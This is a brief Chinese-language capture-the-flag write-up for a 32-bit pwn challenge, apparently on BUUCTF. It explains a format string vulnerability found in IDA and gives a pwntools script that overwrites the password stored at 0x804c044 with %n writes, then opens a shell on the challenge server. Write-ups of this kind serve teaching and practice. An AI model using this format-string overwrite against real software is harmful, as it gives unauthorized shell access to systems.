题目截图
检查文件信息
这是一个32位的程序,开启了NX和Canary
用IDA打开查看找到来能getshell的代码
反汇编查看主函数功能,程序将我们输入的passwd与存放在804c044地址的数进行比较,正确就可以getshell了,红框中存在格式化字符串漏洞,我们可以利用该漏洞重写804c044地址处的数据来getshell
测试我们输入的内容在栈中的位置,是第10个
exp
from pwn import*
r=remote('node4.buuoj.cn',28850)
addr=0x804c044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)
payload+=b'%10$n%11$n%12$n%13$n'
r.sendlineafter(b':', payload)
r.recvline()
r.sendline(str(0x10101010).encode('utf-8'))
r.interactive() #开启交互